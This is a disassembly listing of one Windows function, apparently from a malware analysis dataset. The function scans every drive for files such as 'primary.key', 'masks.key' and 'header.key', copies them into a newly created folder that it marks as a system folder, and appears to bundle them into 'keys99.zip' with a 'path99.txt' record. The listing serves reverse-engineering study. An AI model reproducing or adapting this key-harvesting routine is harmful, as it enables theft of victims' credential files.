Function at 0x10018890
Capabilities:
Check if file exists
Copy file
Create directory
Get disk information
Get file attributes
Set current directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x734
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [esp + 0x1d]
push ebx
push eax
mov byte [esp + 0x24], bl
call sub.ntdll.dll_memset
add esp, 0xc
push 0x40c
lea ecx, [esp + 0x338]
push ebx
push ecx
mov dword [esp + 0x33c], ebx
call sub.ntdll.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_SetErrorMode]
add esp, 0xc
push 1
call esi
lea edx, [esp + 0x330]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
shr eax, 2
mov dword [esp + 0x10], eax
cmp eax, ebx
je 0x100192e6
push 1
call esi
movzx eax, ax
mov dword [esp + 0x14], eax
lea esp, [esp]
mov eax, dword [esp + 0x10]
lea eax, [esp + eax*4 + 0x32c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
test eax, eax
je 0x100192d0
mov eax, dword [esp + 0x10]
lea eax, [esp + eax*4 + 0x32c]
lea edx, [esp + 0x228]
sub edx, eax
mov edi, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x10018940
lea ecx, [esp + 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x100192d0
push 0x10048bc8
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10018a99
xor eax, eax
jmp 0x10018980
mov cl, byte [eax + 0x10055868]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x10018980
push 0x10058858
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10058858
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100189a1
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100189b1
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
lea edx, [esp + 0x1c]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push edx
call edi
test eax, eax
je 0x100189fe
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x100189f7
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10018a03
mov ecx, dword [str.keys99]
mov dx, word [0x10048bd8]
mov dword [eax], ecx
mov cl, byte [0x10048bda]
mov word [eax + 4], dx
push 0
lea edx, [esp + 0x1c]
push edx
mov byte [eax + 6], cl
call edi
test eax, eax
je 0x10018a58
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10018a51
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10018a60
mov ecx, dword [str.header.key]
mov edx, dword [0x10048be0]
mov dword [eax], ecx
mov ecx, dword [0x10048be4]
mov dword [eax + 4], edx
push 0
lea edx, [esp + 0x1c]
push edx
push 0x10048bc8
mov dword [eax + 8], ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, 1
push 0x10048be8
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10018bc9
xor eax, eax
nop
mov cl, byte [eax + 0x10055868]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x10018ab0
push 0x10058858
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10058858
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10018ad1
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10018ae1
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
lea eax, [esp + 0x1c]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call edi
test eax, eax
je 0x10018b2e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10018b27
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10018b33
mov edx, dword [str.keys99]
mov cx, word [0x10048bd8]
mov dword [eax], edx
mov dl, byte [0x10048bda]
mov word [eax + 4], cx
mov byte [eax + 6], dl
push 0
lea eax, [esp + 0x1c]
push eax
call edi
test eax, eax
je 0x10018b88
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10018b81
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10018b90
mov edx, dword [str.masks2.key]
mov ecx, dword [0x10048bf8]
mov dword [eax], edx
mov edx, dword [0x10048bfc]
mov dword [eax + 4], ecx
mov dword [eax + 8], edx
push 0
lea eax, [esp + 0x1c]
push eax
push 0x10048be8
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, 1
push 0x10048c00
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10018d04
xor eax, eax
nop
mov cl, byte [eax + 0x10055868]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x10018be0
push 0x10058858
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10058858
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10018c01
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10018c11
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea ecx, [esp + 0x1c]
push ecx
call edi
test eax, eax
je 0x10018c5e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10018c57
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10018c63
mov ecx, dword [str.keys99]
mov dx, word [0x10048bd8]
mov dword [eax], ecx
mov cl, byte [0x10048bda]
mov word [eax + 4], dx
push 0
lea edx, [esp + 0x1c]
push edx
mov byte [eax + 6], cl
call edi
test eax, eax
je 0x10018cb8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10018cb1
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10018cc0
mov ecx, dword [str.masks.key]
mov edx, dword [0x10048c10]
mov dword [eax], ecx
mov cx, word [0x10048c14]
mov dword [eax + 4], edx
mov dl, byte [0x10048c16]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
push 0
lea eax, [esp + 0x1c]
push eax
push 0x10048c00
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, 1
push 0x10046d00
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10018e3b
xor eax, eax
lea ebx, [ebx]
mov cl, byte [eax + 0x10055868]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x10018d20
push 0x10058858
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10058858
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10018d41
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10018d51
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea ecx, [esp + 0x1c]
push ecx
call edi
test eax, eax
je 0x10018d9e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10018d97
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10018da3
mov ecx, dword [str.keys99]
mov dx, word [0x10048bd8]
mov dword [eax], ecx
mov cl, byte [0x10048bda]
mov word [eax + 4], dx
push 0
lea edx, [esp + 0x1c]
push edx
mov byte [eax + 6], cl
call edi
test eax, eax
je 0x10018df8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10018df1
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10018e00
mov ecx, dword [str._name.key]
mov edx, dword [0x10048c1c]
mov dword [eax], ecx
mov cx, word [0x10048c20]
mov dword [eax + 4], edx
push 0
lea edx, [esp + 0x1c]
push edx
push 0x10046d00
mov word [eax + 8], cx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, 1
push 0x10048c24
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10018f74
xor eax, eax
mov cl, byte [eax + 0x10055868]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x10018e51
push 0x10058858
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10058858
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10018e72
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10018e82
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
lea eax, [esp + 0x1c]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call edi
test eax, eax
je 0x10018ecf
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10018ec8
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10018ed4
mov edx, dword [str.keys99]
mov cx, word [0x10048bd8]
mov dword [eax], edx
mov dl, byte [0x10048bda]
mov word [eax + 4], cx
mov byte [eax + 6], dl
push 0
lea eax, [esp + 0x1c]
push eax
call edi
test eax, eax
je 0x10018f29
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10018f22
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov edi, edi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10018f30
mov edx, dword [str.primary2.key]
mov ecx, dword [0x10048c38]
mov dword [eax], edx
mov edx, dword [0x10048c3c]
mov dword [eax + 4], ecx
mov cx, word [0x10048c40]
mov dword [eax + 8], edx
push 0
lea edx, [esp + 0x1c]
push edx
push 0x10048c24
mov word [eax + 0xc], cx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, 1
push 0x10048c44
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x100190b4
xor eax, eax
lea ebx, [ebx]
mov cl, byte [eax + 0x10055868]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x10018f90
push 0x10058858
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10058858
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10018fb1
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10018fc1
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
lea eax, [esp + 0x1c]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call edi
test eax, eax
je 0x1001900e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10019007
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10019013
mov edx, dword [str.keys99]
mov cx, word [0x10048bd8]
mov dword [eax], edx
mov dl, byte [0x10048bda]
mov word [eax + 4], cx
mov byte [eax + 6], dl
push 0
lea eax, [esp + 0x1c]
push eax
call edi
test eax, eax
je 0x10019068
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10019061
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10019070
mov edx, dword [str.primary.key]
mov ecx, dword [0x10048c54]
mov dword [eax], edx
mov edx, dword [0x10048c58]
mov dword [eax + 4], ecx
mov cl, byte [0x10048c5c]
mov dword [eax + 8], edx
push 0
lea edx, [esp + 0x1c]
push edx
push 0x10048c44
mov byte [eax + 0xc], cl
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, 1
jmp 0x100190bc
test ebx, ebx
je 0x100192d0
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x10055868]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x100190c0
push 0x10058858
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10058858
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100190e1
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100190f1
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x1001913c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10019135
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10019141
mov edx, dword [str.keys99.zip]
mov ecx, dword [0x10048c64]
mov dword [eax], edx
mov dx, word [0x10048c68]
mov dword [eax + 4], ecx
mov cl, byte [0x10048c6a]
mov word [eax + 8], dx
mov byte [eax + 0xa], cl
xor eax, eax
mov cl, byte [eax + 0x10055868]
mov byte [esp + eax + 0x120], cl
inc eax
test cl, cl
jne 0x10019170
push 0x10058858
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10058858
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10019194
lea edi, [esp + 0x120]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100191a7
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x120]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100191c5
mov edx, dword [str.keys99]
mov cx, word [0x10048bd8]
mov dword [eax], edx
mov dl, byte [0x10048bda]
mov word [eax + 4], cx
mov byte [eax + 6], dl
lea eax, [esp + 0x120]
push eax
lea ecx, [esp + 0x1c]
push ecx
call fcn.10024550
test eax, eax
je 0x100192d0
lea edx, [esp + 0x120]
push edx
call fcn.100072b0
xor eax, eax
mov cl, byte [eax + 0x10055868]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x10019212
push 0x10058858
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10058858
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10019233
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10019243
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x18]
rep movsb byte es:[edi], byte [esi]
dec eax
mov edi, edi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10019260
mov ecx, dword [str.path99.txt]
mov edx, dword [0x10048c70]
mov dword [eax], ecx
mov cx, word [0x10048c74]
mov dword [eax + 4], edx
mov dl, byte [0x10048c76]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
mov eax, dword [esp + 0x10]
lea eax, [esp + eax*4 + 0x32c]
lea edx, [esp + 0x120]
sub edx, eax
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x100192a1
lea eax, [esp + 0x120]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100192b5
sub eax, edx
push eax
lea eax, [esp + 0x124]
push eax
lea eax, [esp + 0x20]
call fcn.10006ff0
dec dword [esp + 0x10]
jne 0x10018910
movzx ecx, word [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret